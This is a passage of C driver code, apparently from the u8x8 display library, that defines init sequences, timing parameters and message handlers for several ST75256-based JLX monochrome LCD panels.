display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x000 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x01 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 0x7f ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x36, 0x05 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_wo256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st75256_256x128_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_wo256x128_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_wo256x128_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); // this matches the init sequence u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* JLX25664 */ static const u8x8_display_info_t u8x8_st75256_256x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 32, /* tile_height = */ 8, /* default_x_offset = */ 0, /* must be 0, because this is checked also for normal mode */ /* flipmode_x_offset = */ 13, /* used as y offset */ /* pixel_width = */ 256, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_st75256_256x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x005 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x1f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 0x3f ), /* 64 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 012, 0x02 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx25664(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st75256_256x128_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x64_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x64_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* JLX172104 LCD */ static const u8x8_display_info_t u8x8_st75256_172x104_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 22, /* 22=176 */ /* tile_height = */ 13, /* default_x_offset = */ 84, /* */ /* flipmode_x_offset = */ 0, /* pixel_width = */ 172, /* pixel_height = */ 104 }; static const uint8_t u8x8_d_st75256_jlx172104_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x003 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 0x9f ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x08, 0x04 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx172104(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 0 ) /* 0 means flip mode 1, then adjust y value */ u8x8_cad_SendArg(u8x8, 8+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); /* this procedure assumes, that the overall width is 172 */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; c *= 8; if ( c + x > 172u ) { c = 172u; c -= x; } u8x8_cad_SendData(u8x8, c, ptr); x += c; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_172x104_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } /*=============================================*/ /* JLX240160 */ static const u8x8_display_info_t u8x8_st75256_240x160_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 30, /* tile_height = */ 20, /* default_x_offset = */ 16, /* x offset in flipmode 0 */ /* flipmode_x_offset = */ 0, /* */ /* pixel_width = */ 240, /* pixel_height = */ 160 }; static const uint8_t u8x8_d_st75256_240x160_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x000 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 239), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 159 ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x18, 0x04 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 0 ) /* 0 means flip mode 1 */ u8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; c *= 8; if ( c + x > 240u ) { c = 240u; c -= x; } u8x8_cad_SendData(u8x8, c, ptr); x += c; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_240x160_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_240x160_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } /*=============================================*/ /* JLX256160 */ static const u8x8_display_info_t u8x8_st75256_256x160_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 32, /* tile_height = */ 20, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 1, /* x offset is used as y offset in flipmode */ /* pixel_width = */ 256, /* pixel_height = */ 160 }; static const uint8_t u8x8_d_st75256_256x160_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x000 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x28), /* row range */ U8X8_CAA(0x15, 0, 0xFF), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 159 ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x18, 0x05 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx256160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 1 ) /* 1 means flip mode 1 */ u8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->display_info->default_x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes, treat c > 31 correctly */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x160_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x160_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } /*=============================================*/ /* JLX256160 mirror version #930 */ static const uint8_t u8x8_d_st75256_256x160m_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x000 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x28), /* row range */ U8X8_CAA(0x15, 0, 0xFF), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir ( CHANGED FOR MIRROR VERSION ) */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 159 ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x18, 0x05 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx256160m(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case 